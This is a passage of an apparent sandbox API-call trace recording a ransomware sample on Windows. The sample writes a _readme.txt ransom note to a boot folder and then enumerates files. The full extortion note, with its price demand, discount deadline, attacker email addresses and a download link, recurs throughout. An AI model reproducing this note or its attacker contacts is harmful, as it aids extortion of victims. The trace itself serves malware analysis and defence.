csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.424] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.424] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0066.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.424] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.424] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0066.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.424] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.424] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.424] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.425] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.425] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.425] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.426] CloseHandle (hObject=0x5c4) returned 1 [0066.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.426] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3200030, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3200030, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.426] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.426] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3200030, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3200030, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.426] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.426] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3200030, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3200030, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3200030, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.427] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3200030, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb3200030, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3200030, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.427] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.427] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.427] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.428] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.429] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.429] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.430] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.430] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) 